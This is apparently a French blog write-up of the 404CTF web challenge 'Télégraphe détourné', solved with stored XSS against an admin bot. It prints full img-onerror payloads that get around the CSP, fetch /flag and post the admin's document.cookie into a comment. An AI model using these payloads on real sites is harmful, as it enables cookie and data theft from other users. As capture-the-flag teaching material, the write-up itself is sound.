404CTF - Sécurité Web
Sécurité Web
Télégraphe détourné (Facile)
Le télégraphe Baudot (inventé par Émile Baudot en 1874) est une avancée majeure qui a rapproché brutalement le vieux télégraphe de l’ordinateur que nous connaissons aujourd’hui. Pour le commémorer, votre ami Jean Baudot (qui n’est évidemment pas un descendant d’Émile Baudot) a créé un site à thème assez simple pour débuter dans la programmation. Prouvez-lui qu’il n’est pas près de devenir un vrai programmeur s’il ne se documente pas assez sur les technologies qu’il implémente… (Le /flag permet d’obtenir le flag…) (“Signaler un problème” vous permettra d’amener un admin sur la page) (L’admin n’a pas accès à Internet)
Résolution
On lance l’instance et on se rends dessus: 3 boutons. Un pour se connecter, un pour envoyer un message, et un pour signaler un soucis.

En cliquant sur Etablir le lien, on obtient un token CSRF:

Et si on essaie d’aller voir /flag directement, on a un joli message:
Ceci est réservé aux admins…
On va donc devoir se faire passer pour un admin!
La première idée serait un XSS pour récupérer le CSRF Admin, et se faire passer pour lui. En réalité, un poil galère pour un chall Facile.
Donc, seconde option, un XSS pour faire requêter l’admin sur /flag, puis écrire le résultat de la requête dans un commentaire:
<script>fetch('/flag', {credentials: 'include'}) .then(r => r.text()) .then(flag => fetch('/post_comment', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'message=' + encodeURIComponent(flag) }));</script>Ce sera un échec: la Content Security Policy (CSP) bloque ça.
Pour le contourner, la solutionc c’est de passer par un event handler en HTML:
<img src=x onerror="fetch('/flag', {credentials: 'include'}) .then(r => r.text()) .then(flag => fetch('/post_comment', { method: 'POST', credentials: 'include', redirect: 'follow', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'comment=' + encodeURIComponent(flag) }));">En rechargeant la page, la XSS fonctionne bien, on peut alors appeler l’admin avec le bouton Signaler un problème.
15s plus tard, l’admin arrive, et le commentaire Flag transmis... est affiché.
Donc, on en déduit que le XSS sur /flag a fonctionné, mais que le flag n’est pas la réponse à la requête /flag.
Par contre, le flag est peut-être dans les cookies:
<img src=x onerror="fetch('/api/init_csrf', {credentials: 'include'}) .then(() => fetch('/flag', {credentials: 'include'})) .then(() => fetch('/post_comment', { method: 'POST', credentials: 'include', redirect: 'follow', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'comment=' + encodeURIComponent(document.cookie) }));">Et là, bingo, le flag apparaît:

← Back to blog